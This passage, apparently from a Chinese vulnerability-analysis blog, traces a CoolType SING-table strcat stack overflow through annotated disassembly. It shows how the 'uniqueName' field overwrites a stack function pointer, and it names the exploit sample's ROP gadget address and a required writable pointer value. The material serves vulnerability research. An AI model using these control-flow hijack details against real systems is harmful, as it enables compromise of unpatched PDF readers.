                                                    0012DD58  0012DDE4  arg3
                                                    0012DD5C  00000000  arg4
                                                    0012DD60  00000000  arg5
                                                    0012DD64  00000001  arg6
                                           ebp -->  0012DD68  0012DDF8  
    |    |    |  
    ↓    ↓    ↓
****************************************************************************************************************************
.rdata:081A601C ; const StreamHandler::`vftable'
.rdata:081A601C ??_7StreamHandler@@6B@ dd offset sub_808B116
StreamHandler类虚函数:
char __thiscall sub_808B116(char *this, int a2, int *a3, _DWORD *a4, _DWORD *a5, unsigned int *a6, int a7)
****************************************************************************************************************************
.text:0808B116      push    ebp                 ;   [0x0012DD48]=ebp=0x0012DD68
.text:0808B117      mov     ebp, esp            ;   ebp=esp=0x0012DD48
.text:0808B119      push    ecx                 ; arg_5: [0x0012DD44]=ecx=0x01F347B8(StreamHandler类对象地址)
.text:0808B11A      push    ebx                 ; arg_4: [0x0012DD40]=ebx=0x00000000
.text:0808B11B      push    esi                 ; arg_3: [0x0012DD3C]=esi=0x0012E608 对象(0x0012E608)的指针
.text:0808B11C      push    edi                 ; arg_2: [0x0012DD38]=edi=0x0012E718 对象(0x0012E718)的指针
.text:0808B11D      mov     edi, [ebp+arg_0]    ;   edi=[ebp+0x8]=[0x0012DD50]=0x0012E718 <------ edi = a2
.text:0808B120      push    edi                 ; arg_1: [0x0012DD34]=edi=0x0012E718 对象(0x0012E718)的指针
.text:0808B121      mov     esi, ecx            ;   esi=ecx=0x01F347B8(StreamHandler类对象地址)
.text:0808B123      call    sub_808B02A         ; 
.text:0808B128      xor     ebx, ebx
.text:0808B12A      test    al, al
.text:0808B12C      jz      loc_808B2CB
..........
.text:0808B2CB      mov     eax, [esi]
.text:0808B2CD      mov     byte ptr [ebp+arg_14+3], bl
.text:0808B2D0      call    dword ptr [eax+70h]
.text:0808B2D3      push    edi
.text:0808B2D4      lea     ecx, [esi+14h]
.text:0808B2D7      call    sub_801E540
.text:0808B2DC      mov     byte ptr [esi+0E0h], 1
.text:0808B2E3      mov     eax, [edi+3Ch]   <-------eax=[edi+3Ch]=[0x0012E718+0x3C]=[0x0012E754]=0x0012E6D0(对象0x0012E6B0中的一个函数指针)
.text:0808B2E6      cmp     eax, ebx
.text:0808B2E8      mov     [esi+2F4h], eax
.text:0808B2EE      mov     [esi+2F8h], ebx
.text:0808B2F4      mov     [ebp+var_4], ebx
.text:0808B2F7      jnz     short loc_808B300
.text:0808B2F9
.text:0808B2F9 loc_808B2F9:                      
.text:0808B2F9      xor     al, al
.text:0808B2FB      jmp     loc_808B594
.text:0808B300 ; ---------------------------------------------------------------------------
.text:0808B300
.text:0808B300 loc_808B300:                           
.text:0808B300      lea     ecx, [ebp+var_4]
.text:0808B303      push    ecx                 ; [0x0012DD34]=ecx=0x0012DD44
.text:0808B304      push    ebx                 ; [0x0012DD30]=ebx=0x0
.text:0808B305      push    3                   ; [0x0012DD2C]=0x3
.text:0808B307      push    eax                 ; [0x0012DD28]=eax=0x0012E6D0
.text:0808B308      call    dword ptr [eax]     ; eax=0x0012E6D0,[0x0012E6D0]=0x4A80CB38 <------- ROPgadget1
                    (*v20)(v20, 3, 0, &v31);
触发流程图:

  这里不知道为什么不能用ollydbg的调用堆栈窗口查看栈回溯,在调用sub_808B116()函数时,栈回溯窗口清空了,执行完sub_808B116()函数中的0x0808B308处的调用指令call dword ptr [eax],跳转到0x4A80CB38处时,调用堆栈信息又显示出来了,而且此ROPgadget的调用者也发生了改变。下面显示0x4A80CB38处的ROPgadget的调用是来自CoolType.0801BB41,而这个地址在sub_801BB21()函数的地址范围中,并且是调用sub_808B116()函数的指令的地址。实际情况确是sub_808B116()函数调用的0x4A80CB38处的ROPgadget。是因为sub_808B116()函数是虚函数吗?没搞清楚。
| 1 | --> 4A80CB38 81C5 94070000 add ebp,0x794 | 
2.4、触发原因
  通过前面的分析我们可以知道,地址0x0808B308处的调用指令是通过以eax的值为地址,得到存储在地址处的值,作为所调用函数的地址,进行函数调用的。eax=0x0012E6D0,所以函数的地址值存储在栈上,而且刚好落在我们构造的“uniqueName”字段在栈上的缓冲区内,所以我们可以覆盖这个函数的地址值,达到劫持程序控制流的目的。而我们往上回溯,eax的值是以edi+0x3C为地址的变量的值。edi的值为0x0012E718,正是前面通过sub_80DD0B3()函数调用sub_080151B5()函数清零的栈空间的首地址,也是sub_80DD0B3()函数的ebp。在执行sub_80DD0B3()函数之前,edi+0x3C=0x0012E754处的值为0xFFFFFFFF,而在调用0x080DD2F3处的sub_803DCF9()函数时,已经被赋值为了0x0012E6D0。说明赋值的语句在调用sub_803DCF9()函数之前。这里分析的目的主要是看是否覆盖了特殊结构的指针,而达到了程序控制流的劫持。比如,是否覆盖了SEH异常处理结构,又或者是覆盖了虚表指针和虚表中的虚函数地址。首先在IDA中看一下,是哪里赋的值:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)
{
    ......
    int v10; // [esp+B8h] [ebp-68h],[0x0012E718-0x68]=[0x0012E6B0]
    char v11; // [esp+D8h] [ebp-48h],[0x0012E718-0x48]=[0x0012E6D0]存储函数地址的变量(函数指针)
    ......
    char v31; // [esp+134h] [ebp+14h],[0x0012E718+0x14]=[0x0012E72C]
    unsigned int v32; // [esp+15Ch] [ebp+3Ch],[0x0012E718+0x3C]=[0x0012E754]
    ......
    //&v10为对象首地址,此函数应为对象(0x0012E6B0)的有参构造函数
    sub_8083452(&v10, a2);//执行完后,[ebp-0x48]=[0x0012E6D0]=0x080833EF,这是一个函数的地址
    v25 = 1;
    sub_8084D13(
        (void (__cdecl **)(_DWORD, _DWORD, _DWORD, _DWORD))(v10 != 0 ? (unsigned int)&v11 : 0),
        &v20,
        &v18,
        (unsigned int)&v17,
        0,
        0,
        1);
    ......
    sub_801605B(&v31, &v10); //&v31为对象首地址
    v32 = v10 != 0 ? (unsigned int)&v11 : 0; //[0x0012E754]=0x0012E6D0,v32[0x0012E754]为对象(0x0012E718)中的一个成员变量
    ......
}
/*
对象(0x0012E6B0)的内存布局(初始):
0x0012E6B0 *v2 = *a2     -| {sub_8014E64}
0x0012E6B4 v2[1] = a2[1] -|
0x0012E6B8 v2[2] = 0; ------------------------|
0x0012E6BC *a2 = v9   -|                      |
0x0012E6C0 a2[1] = a3  |                      |
0x0012E6C4 a2[2] = v8  | {sub_8080FB5}        | {sub_8083452}
0x0012E6C8 a2[3] = v7 -|                      |
0x0012E6CC v2[7] = v2[5] ---------------------|
0x0012E6D0 v2[8] = sub_80833EF ---------------| (函数指针)
0x0012E6D4 v2[9] = v2 ------------------------|
*/
  由这可知,v32变量在栈上的位置为ebp+0x3C,即v32为栈上0x0012E718+0x3C=0x0012E754处的变量。最下面的那一行代码是它的赋值语句。由于我对SEH结构是怎么被放在栈上,并形成SEH链表的细节不太熟悉,所以,顺便分析了一下函数向栈上构建SEH结构的过程。下面是一些详细的调试信息:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211***********************************************************************************
    int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)
***********************************************************************************
.text:080DD0B3        push    ebp                              ; [0x0012E7E8]=ebp=0x0012E838,父函数ebp
.text:080DD0B4        sub     esp, 0CCh                        ; esp=0x0012E71C
.text:080DD0BA        lea     ebp, [esp-4]                     ; ebp=0x0012E718,本函数ebp
.text:080DD0BE        mov     eax, ___security_cookie          ; eax=0x78FC1194
.text:080DD0C3        xor     eax, ebp                         ; eax=eax^ebp=0x78EEF68C
.text:080DD0C5        mov     [ebp+0D0h+var_4], eax            ; [ebp+0xcc] = [0x0012E7E4] = 0x78EEF68C,父函数ebp之上
.text:080DD0CB        push    104h                             ; [esp-0x4]=[0x0012E718]=0x104,(__EH_prolog3中分配的栈空间大小)
.text:080DD0D0        mov     eax, offset loc_8182A36          ; eax=0x8182A36(__security_check_cookie函数地址)
.text:080DD0D5        call    __EH_prolog3                     ; [0x0012E714]=ret=0x080DD0DA
    |    |    |  
    ↓    ↓    ↓
.text:0804819E __EH_prolog3    proc near(向栈上写入SEH结构)
0804819E       push eax                            ; [0x0012E710]=eax=0x08182A36(__security_check_cookie函数地址)SE处理程序
0804819F       push dword ptr fs:[0]               ; [0x0012E70C]=0x0012E82C,指向下一个SEH记录的指针
080481A6       lea eax,dword ptr ss:[esp+0xC]      ; eax=esp+0xc=0x0012E70C+0xC=0x0012E718
080481AA       sub esp,dword ptr ss:[esp+0xC]      ; esp=esp-[0x0012E718]=0x0012E70C-0x104=0x0012E608,分配栈空间
                                                栈: 0012E608   7C812FD3  返回到 kernel32.7C812FD3 来自 ntdll.RtlRaiseException
080481AE       push ebx                            ; [0x0012E604]=ebx=0x0
080481AF       push esi                            ; [0x0012E600]=esi=0x0823AE9C(.data段)
080481B0       push edi                            ; [0x0012E5FC]=edi=0x0012E858
080481B1       mov dword ptr ds:[eax],ebp          ; [eax]=[0x0012E718]=ebp=0x0012E718,覆盖传进来的参数0x104
080481B3       mov ebp,eax                         ; 
080481B5       mov eax,dword ptr ds:[0x8230FB8]    ; eax=ds:[0x8230FB8]=0x78FC1194(___security_cookie)
080481BA       xor eax,ebp                         ; eax=eax^ebp=0x78FC1194^0x0012E718=0x78EEF68C,再计算一次security cookie
080481BC       push eax                            ; [0x0012E5F8]=eax=0x78EEF68C,异或之后的sec cookie
080481BD       push dword ptr ss:[ebp-0x4]         ; [0x0012E5F4]=[0x0012E718-0x4]=[0x0012E714]=0x080DD0DA,返回地址
080481C0       mov dword ptr ss:[ebp-0x4],-0x1     ; [0x0012E714]=0xFFFFFFFF,本来的返回地址被修改
080481C7       lea eax,dword ptr ss:[ebp-0xC]      ; eax=ebp-0xc=0x0012E718-0xc=0x0012E70C(本SEH结构地址)
080481CA       mov dword ptr fs:[0],eax            ; fs:[0] = 0x0012E70C,保存当前SEH结构指针
080481D0       retn                                ; ret
    |    |    |  
    ↓    ↓    ↓
......
.text:080DD113 loc_80DD113:                            ; CODE XREF: sub_80DD0B3+5B↑j
.text:080DD113                 push    eax                              ; eax=a2=0x0012E818,[0x0012E818]=0x0494F3E8
.text:080DD114                 lea     ecx, [ebp+0D0h+var_138]          ; eac=ebp-0x68=0x0012E718-0x68=0x0012E6B0,对象(0x0012E6B0)首地址
.text:080DD117                 mov     [ebp+0D0h+var_F0], 40000000h     ; [ebp-0x20]=[0x0012E718-0x20]=[0x0012E6F8]=0x40000000
.text:080DD11E                 call    sub_8083452
    |    |    |  
    ↓    ↓    ↓
********************************************************************
        _DWORD *__thiscall sub_8083452(_DWORD *this, int a2)
********************************************************************
08083452    6A 0C              push 0xC
08083454    B8 0A581708        mov eax,CoolType.0817580A
08083459    E8 404DFCFF        call CoolType.0804819E
0808345E    8BF1               mov esi,ecx                                      <-----; esi=ecx=0x0012E6B0,对象(0x0012E6B0)首地址
08083460    8975 F0            mov dword ptr ss:[ebp-0x10],esi
.......
08083489    8B46 14            mov eax,dword ptr ds:[esi+0x14]                  ; eax=[esi+0x14]=[0x0012E6C4]=0x049513E0,字体对象
0808348C    8946 1C            mov dword ptr ds:[esi+0x1C],eax                  ; [esi+0x1C]=[0x0012E6CC]=eax=0x049513E0
0808348F    C746 20 EF330808   mov dword ptr ds:[esi+0x20],CoolType.080833EF    <-----; [esi+0x20]=[0x0012E6B0+0x20]=[0x0012E6D0]=0x080833EF
08083496    8976 24            mov dword ptr ds:[esi+0x24],esi
08083499    8BC6               mov eax,esi
0808349B    E8 D64DFCFF        call CoolType
    |    |    |  
    ↓    ↓    ↓
***********************************************************************************
    int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)
***********************************************************************************
080DD168       call CoolType.080151B5              ; 清零0x0012E718后面的一些数据,0x0012E718应该为某个对象的首地址,此函数像是类的构造函数
.......
080DD1A3       call CoolType.0801605B
080DD1A8       mov esi,dword ptr ss:[ebp-0x68]     ; esi=[ebp-0x68]=[0x0012E6B0]=0x02137E88
080DD1AB       neg esi                             ; 求补: esi=0xFDEC8178(按位取反再+1),求补操作和求一个数的补码概念是不一样的
080DD1AD       sbb esi,esi                         ; 带借位减法:esi=FFFFFFFF
080DD1AF       lea eax,dword ptr ss:[ebp-0x48]     ; eax=ebp-0x68=0x0012E718-0x48=0x0012E6D0 ,函数指针地址
080DD1B2       and esi,eax                         ; esi=esi and eax=0x0012E6D0 
080DD1B4       cmp dword ptr ss:[ebp-0x28],0x1     ; [ebp-0x28]=[0x0012E718-0x28]=[0x0012E6F0]=0x1
080DD1B8       mov dword ptr ss:[ebp+0x3C],esi     ; [ebp+0x3C]=[0x0012E754]=esi=0x0012E6D0 <-------这里得到赋值,在这之前[0x0012E6D0]已在sub_8083452()[对象(0x0012E6B0)的构造函数]中得到赋值,[0x0012E6D0]=0x080833EF,0x0012E6D0处的成员变量为函数指针
080DD1BB       jnz CoolType.080DD2D1               ; 不跳转
080DD1C1       lea eax,dword ptr ss:[ebp-0x10]
080DD1C4       push eax
080DD1C5       push ebx
080DD1C6       push 0x2
080DD1C8       push esi
080DD1C9       mov dword ptr ss:[ebp-0x10],ebx
080DD1CC       call dword ptr ds:[esi]             ; CoolType.080833EF
080DD1CE       lea eax,dword ptr ss:[ebp-0x10]
080DD1D1       push eax
080DD1D2       lea eax,dword ptr ss:[ebp-0x3C]
080DD1D5       push eax
080DD1D6       push ebx
080DD1D7       push esi
080DD1D8       mov dword ptr ss:[ebp-0x10],edi
080DD1DB       call dword ptr ds:[esi]             ; CoolType.080833EF
080DD1DD       add esp,0x20
080DD1E0       cmp dword ptr ss:[ebp-0x10],edi
080DD1E3       je short CoolType.080DD1F0
080DD1E5       push CoolType.081BA878
080DD1EA       call CoolType.0809D83E
080DD1EF       pop ecx
080DD1F0       push dword ptr ss:[ebp-0x10]
080DD1F3       lea eax,dword ptr ss:[ebp-0x3C]
080DD1F6       push CoolType.0819D5F8              ; ASCII "ttcf"
080DD1FB       push eax
080DD1FC       call <jmp.&MSVCR80.memcmp>
080DD201       add esp,0xC
080DD204       test eax,eax
080DD206       jnz CoolType.080DD2D1               ; 跳转
    |    |    |  
    ↓    ↓    ↓
.text:080DD2D1 loc_80DD2D1:                          
.text:080DD2D1                              
.text:080DD2D1         lea     ecx, [ebp+0D0h+var_1E0]
.text:080DD2D7         call    sub_80172FB
.text:080DD2DC         mov     [ebp+0D0h+var_E8], ebx                       ;   [ebp-0x18]=[0x0012E700]=0x0
.text:080DD2DF         lea     eax, [ebp+0D0h+var_E8]                       ;   eax=ebp-0x18=0x0012E700
.text:080DD2E2         push    eax                                          ; arg_4: [0x0012E5F4]=eax=0x0012E700
.text:080DD2E3         push    ebx                                          ; arg_3: [0x0012E5F0]=ebx=0x0
.text:080DD2E4         lea     eax, [ebp+0D0h+var_1E0]                      ;   eax=ebp-0x110=0x0012E718-0x110=0x0012E608
.text:080DD2EA         push    eax                                          ; arg_2: [0x0012E5EC]=eax=0x0012E608,对象(0x0012E608)的指针
.text:080DD2EB         lea     eax, [ebp+0D0h+value1_823A850]               ;   eax=ebp=0x0012E718
.text:080DD2EE         push    eax                                          ; arg_1: [0x0012E5E8]=0x0012E718,对象(0x0012E718)的指针
.text:080DD2EF         mov     byte ptr [ebp+0D0h+var_D4], 4                ; [ebp-0x4]=[0x0012E714]=4
.text:080DD2F3         call    sub_803DCF9      <-------
    |    |    |  
    ↓    ↓    ↓
******************************************************************************
        char __cdecl sub_803DCF9(int a1, _DWORD *a2, int a3, int a4)
******************************************************************************
.text:0803DCF9         push    ebp                      ; ebp=0x0012E718
.text:0803DCFA         sub     esp, 104h                ; esp=0x0012E4DC,分配局部变量栈空间
.text:0803DD00         lea     ebp, [esp-4]             ; ebp=0x0012E4D8
.text:0803DD04         mov     eax, ___security_cookie  ; eax=0x98C49E84
.text:0803DD09         xor     eax, ebp                 ; eax=eax^ebp=0x98D67A5C
.text:0803DD0B         mov     [ebp+108h+var_4], eax    ; [ebp+0x104] = [0x0012E5DC] = 0x98D67A5C
.text:0803DD11         push    4Ch                      ; [0x0012E4D8]=0x4C(分配栈空间大小)
.text:0803DD13         mov     eax, offset loc_8184A54  ; eax=0x8184A54(__security_check_cookie)
.text:0803DD18         call    __EH_prolog3_catch       ; [0x0012E4D4]=0x0803DD1D,ret
    |    |    |  
    ↓    ↓    ↓
.text:080481D1 __EH_prolog3_catch proc near(向栈上写入SEH结构)
080481D1       push eax                            ; [0x0012E4D0]=0x8184A54(__security_check_cookie)
080481D2       push dword ptr fs:[0]               ; [0x0012E4CC]=0x0012E70C,指向下一个SEH记录的指针
080481D9       lea eax,dword ptr ss:[esp+0xC]      ; eax=esp+0xc=0x0012E4CC+0xc=0x0012E4D8
080481DD       sub esp,dword ptr ss:[esp+0xC]      ; esp=esp-[0x0012E4D8]=0x0012E4CC-0x4C=0x0012E480,再次分配局部变量栈空间
080481E1       push ebx                            ; [0x0012E47C]=ebx=0x0
080481E2       push esi                            ; [0x0012E478]=esi=0x0012E6D0
080481E3       push edi                            ; [0x0012E474]=edi=0x4
080481E4       mov dword ptr ds:[eax],ebp          ; [eax]=[0x0012E4D8]=ebp=0x0012E4D8,覆盖传进来的参数0x4C
080481E6       mov ebp,eax                         ;
080481E8       mov eax,dword ptr ds:[0x8230FB8]    ; eax=ds:[0x8230FB8]=0x78FC1194(___security_cookie)
080481ED       xor eax,ebp                         ; eax=eax^ebp=0x78FC1194^0x0012E4D8=0x78EEF54C
080481EF       push eax                            ; [0x0012E470]=0x78EEF54C
080481F0       mov dword ptr ss:[ebp-0x10],esp     ; [ebp-0x10]=[0x0012E4D8-0x10]=[0x0012E4C8]=esp=0x0012E470
080481F3       push dword ptr ss:[ebp-0x4]         ; [0x0012E46C]=[ebp-0x4]=[0x0012E4D4]=0x0803DD1D,返回地址
080481F6       mov dword ptr ss:[ebp-0x4],-0x1     ; [0x0012E4D4]=0xFFFFFFFF,本来的返回地址被修改
080481FD       lea eax,dword ptr ss:[ebp-0xC]      ; eax=ebp-0xc=0x0012E4D8-0xc=0x0012E4CC(本SEH结构地址)
08048200       mov dword ptr fs:[0],eax            ; fs:[0] = 0x0012E4CC,保存当前SEH结构指针
08048206       retn                                ; ret
    |    |    |  
    ↓    ↓    ↓
.text:0803DD1D         mov     eax, [ebp+108h+arg_C]            ; a4: eax=[ebp+0x11c]=[0x0012E5F4]=0x0012E700
.text:0803DD23         mov     edi, [ebp+108h+arg_0]            ; a1: edi=[ebp+0x110]=[0x0012E5E8]=0x0012E718,对象(0x0012E718)的指针
.text:0803DD29         mov     ebx, [ebp+108h+arg_4]            ; a2: ebx=[ebp+0x114]=[0x0012E5EC]=0x0012E608,对象(0x0012E608)的指针
.text:0803DD2F         mov     [ebp+108h+var_130], edi          ; [ebp-0x28]=[0x0012E4B0]=edi=0x0012E718
.text:0803DD32         mov     [ebp+108h+var_138], eax          ; [ebp-0x30]=[0x0012E4A8]=eax=0x0012E700
.text:0803DD35         call    sub_804172C
.text:0803DD3A         xor     esi, esi                         ; esi=0x0
.text:0803DD3C         cmp     dword ptr [edi+8], 3             ; [edi+8]=[0x0012E720]=0x1
.text:0803DD40         mov     [ebp+108h+var_10C], esi          ; [ebp-0x4]=[0x0012E4D8-0x4]=[0x0012E4D4]=0
.text:0803DD43         jz      loc_803DF00                      ; 不跳转
.text:0803DD49         mov     [ebp+108h+var_124], esi          ; [ebp-0x1c]=[0x0012E4D8-0x1c]=[0x0012E4BC]=0
.text:0803DD4C         mov     [ebp+108h+var_120], esi          ; [ebp-0x18]=[0x0012E4D8-0x18]=[0x0012E4C0]=0
.text:0803DD4F         cmp     dword ptr [edi+0Ch], 1           ; [edi+0xc]=[0x0012E718+0xc]=[0x0012E724]=0x1
.text:0803DD53         mov     byte ptr [ebp+108h+var_10C], 1   ; [ebp-0x4]=[0x0012E4D4]=0x0->0x1
.text:0803DD57         jnz     loc_803DEA9                      ; 不跳转
.text:0803DD5D         push    offset aName                     ; "name"
.text:0803DD62         push    edi                              ; int
.text:0803DD63         lea     ecx, [ebp+108h+var_124]
.text:0803DD66         mov     [ebp+108h+var_119], 0
.text:0803DD6A         call    sub_80217D7
.text:0803DD6F         cmp     [ebp+108h+var_124], esi
.text:0803DD72         jnz     short loc_803DDDD
.text:0803DD74     push    offset aSing            ; "SING"
.text:0803DD79     push    edi                     ; 类对象指针(0x0012E718),第一个变量为dword_823A850加1之前的值。
.text:0803DD7A     lea     ecx, [ebp+108h+var_12C] ; ecx为字体对象,thiscall,ecx传参
.text:0803DD7D     call    sub_8021B06             ; 解析字体对象,处理SING表
.text:0803DD82     mov     eax, [ebp+108h+var_12C] ; eax指向SING表数据
.text:0803DD85     cmp     eax, esi                ; 判断是否为空
.text:0803DD85 ;} // starts at 803DD53
.text:0803DD87 ;try {
.text:0803DD87     mov     byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B     jz      short loc_803DDC4       ; 这里不跳转
.text:0803DD8D     mov     ecx, [eax]              ; 字体资源版本号0.1,构造样本时小端写入,这里读出就变成了ecx=0x00010000,使其可以顺利执行到strcat
.text:0803DD8F     and     ecx, 0FFFFh
.text:0803DD95     jz      short loc_803DD9F       ; 这里跳转,jz和je机器码是一样的,IDA识别为jz,OllyDbg识别为je,这里jz感觉好理解一点
.text:0803DD97     cmp     ecx, 100h
.text:0803DD9D     jnz     short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F:                ; CODE XREF: sub_803DCF9+9C↑j
.text:0803DD9F     add     eax, 10h                       ; 相对SING表入口偏移0x10处找到uniqueName
.text:0803DDA2     push    eax                            ; char *,strcat源地址入栈,也就是uniqueName起始地址
.text:0803DDA3     lea     eax, [ebp+108h+uniqueName_buf] ; 这里将ebp的值作为目的地址,也就是前面所分配的缓冲区的起始地址
.text:0803DDA6     push    eax                            ; char *,strcat目的地址入栈
.text:0803DDA7     mov     [ebp+108h+uniqueName_buf], 0   ; 将目标字符串赋值为NULL,空字符串
.text:0803DDAB     call    strcat                         ; 调用strcat函数,造成溢出
  通过上面的分析,我们可以知道,样本构造的SING表的“uniqueName”字段将栈上对象(0x0012E6B0)的一个函数指针类型的成员变量(0x0012E6D0)覆盖为了ROPgadget(0x4A80CB38)的地址。而触发点为StreamHandler类的虚函数sub_808B116()中地址0x0808B308处的调用指令call dword ptr [eax],这条调用指令将对象(0x0012E6B0)中的函数指针(0x0012E6D0)的值作为调用地址,从而获得程序执行流的劫持。这个函数指针的地址又存储在对象(0x0012E718)中的一个指针类型的成员变量(0x0012E754)中。虚函数sub_808B116()通过传入的参数对象(0x0012E718)的指针,找到对象(0x0012E6B0)中的函数指针(0x0012E6D0),进行函数调用,从而获得程序执行流的劫持。
  所以,metasploit中的漏洞利用脚本,并不是通过覆盖虚函数的指针或虚表指针,以及SEH结构来控制程序执行流的。
2.5、样本中SING表数据“0x4A8A08C6”的作用
  0x4A8A08C6是一个地址值,0x4A8A08C6+0x1C=0x4A8A08E2应具有可读可写权限。因为,在通过strcat()将SING表数据复制到栈上之后,以及获得程序执行流的劫持之前,会对此地址进行读写,所以构造的样本中此处的地址+0x1C必须具有可读可写权限,否则会触发异常,通过SEH链进入异常处理,就无法获得程序执行流的劫持。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121******************************************************
                sub_814B423()
******************************************************
.text:0814B470        mov     byte ptr [ebp+var_4], 2
.text:0814B474        push    [ebp+arg_10]
.text:0814B477        push    [ebp+arg_8]
.text:0814B47A        push    eax
.text:0814B47B        lea     eax, [ebp+arg_0]
.text:0814B47E        push    eax
.text:0814B47F        call    sub_80DD0B3  <-------
.text:0814B484        add     esp, 18h
.text:0814B487        push    [ebp+var_20]
    |    |    |  
    ↓    ↓    ↓
*************************************************************************************
     int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)
*************************************************************************************
.text:080DD0B3        push    ebp                              ; [0x0012E7E8]=ebp=0x0012E838,父函数ebp
.text:080DD0B4        sub     esp, 0CCh                        ; esp=0x0012E71C
.text:080DD0BA        lea     ebp, [esp-4]                     ; ebp=0x0012E718,本函数ebp
.text:080DD0BE        mov     eax, ___security_cookie          ; eax=0x78FC1194
.text:080DD0C3        xor     eax, ebp                         ; eax=eax^ebp=0x78EEF68C
.text:080DD0C5        mov     [ebp+0D0h+var_4], eax            ; [ebp+0xcc] = [0x0012E7E4] = 0x78EEF68C,父函数ebp之上
.text:080DD0CB        push    104h                             ; [esp-0x4]=[0x0012E718]=0x104,(__EH_prolog3中分配的栈空间大小)
.text:080DD0D0        mov     eax, offset loc_8182A36          ; eax=0x8182A36(__security_check_cookie函数地址)
.text:080DD0D5        call    __EH_prolog3                     ; [0x0012E714]=ret=0x080DD0DA
........
.text:080DD2D1 loc_80DD2D1:                          
.text:080DD2D1                              
.text:080DD2D1        lea     ecx, [ebp+0D0h+var_1E0]
.text:080DD2D7        call    sub_80172FB
.text:080DD2DC        mov     [ebp+0D0h+var_E8], ebx            ;   [ebp-0x18]=[0x0012E700]=0x0
.text:080DD2DF        lea     eax, [ebp+0D0h+var_E8]            ;   eax=ebp-0x18=0x0012E700
.text:080DD2E2        push    eax                               ; arg_4: [0x0012E5F4]=eax=0x0012E700
.text:080DD2E3        push    ebx                               ; arg_3: [0x0012E5F0]=ebx=0x0
.text:080DD2E4        lea     eax, [ebp+0D0h+var_1E0]           ;   eax=ebp-0x110=0x0012E718-0x110=0x0012E608
.text:080DD2EA        push    eax                               ; arg_2: [0x0012E5EC]=eax=0x0012E608,对象(0x0012E608)的指针 <--------
.text:080DD2EB        lea     eax, [ebp+0D0h+value1_823A850]    ;   eax=ebp=0x0012E718
.text:080DD2EE        push    eax                               ; arg_1: [0x0012E5E8]=0x0012E718,对象(0x0012E718)的指针
.text:080DD2EF        mov     byte ptr [ebp+0D0h+var_D4], 4     ; [ebp-0x4]=[0x0012E714]=4
.text:080DD2F3        call    sub_803DCF9      <-------
    |    |    |  
    ↓    ↓    ↓
*******************************************************************************
        char __cdecl sub_803DCF9(int a1, _DWORD *a2, int a3, int a4)
*******************************************************************************
.text:0803DCF9         push    ebp                          ; ebp=0x0012E718
.text:0803DCFA         sub     esp, 104h                    ; esp=0x0012E4DC,分配局部变量栈空间
.text:0803DD00         lea     ebp, [esp-4]                 ; ebp=0x0012E4D8
.text:0803DD04         mov     eax, ___security_cookie      ; eax=0x98C49E84
.text:0803DD09         xor     eax, ebp                     ; eax=eax^ebp=0x98D67A5C
.text:0803DD0B         mov     [ebp+108h+var_4], eax        ; [ebp+0x104] = [0x0012E5DC] = 0x98D67A5C
.text:0803DD11         push    4Ch                          ; [0x0012E4D8]=0x4C(分配栈空间大小)
.text:0803DD13         mov     eax, offset loc_8184A54      ; eax=0x8184A54(__security_check_cookie)
.text:0803DD18         call    __EH_prolog3_catch           ; [0x0012E4D4]=0x0803DD1D,ret
......
.text:0803DD29         mov     ebx, [ebp+108h+arg_4]        ; ebx = 0x0012E608,对象(0x0012E608)的指针 <--------
......
.text:0803DD9F loc_803DD9F:                
.text:0803DD9F         add     eax, 10h                         ; 相对SING表入口偏移0x10处找到uniqueName
.text:0803DDA2         push    eax                              ; char *,strcat源地址入栈,也就是uniqueName起始地址
.text:0803DDA3         lea     eax, [ebp+108h+uniqueName_buf]   ; 这里将ebp的值作为目的地址,也就是前面所分配的缓冲区的起始地址
.text:0803DDA6         push    eax                              ; char *,strcat目的地址入栈
.text:0803DDA7         mov     [ebp+108h+uniqueName_buf], 0     ; 将目标字符串赋值为NULL,空字符串
.text:0803DDAB         call    strcat                           ; 调用strcat函数,造成溢出
.text:0803DDB0         pop     ecx
.text:0803DDB1         pop     ecx
.text:0803DDB2         lea     eax, [ebp+108h+uniqueName_buf]   ;   eax=ebp=0x0012E4D8
.text:0803DDB5         push    eax                              ; arg1: [0x0012E46C]=0x0012E4D8
.text:0803DDB6         mov     ecx, ebx                         ; this: ecx=ebx=0x0012E608,对象(0x0012E608)的指针 <--------
.text:0803DDB8         call    sub_8001243
    |    |    |  
    ↓    ↓    ↓
*******************************************************************
    int *__thiscall sub_8001243(int *this, int uniqueName_buf)
*******************************************************************
.text:08001243         push    esi                              ; esi=0x0
.text:08001244         push    edi                              ; edi=0x0012E718,对象(0x0012E718)的指针
.text:08001245         push    [esp+8+uniqueName_buf]           ; [esp+0xc]=0x0012E4D8
.text:08001249         mov     esi, ecx                         ; esi = ecx = 0x0012E608,对象(0x0012E608)的指针 <--------
.text:0800124B         call    dword_8231220                    ; BIB.07005C59
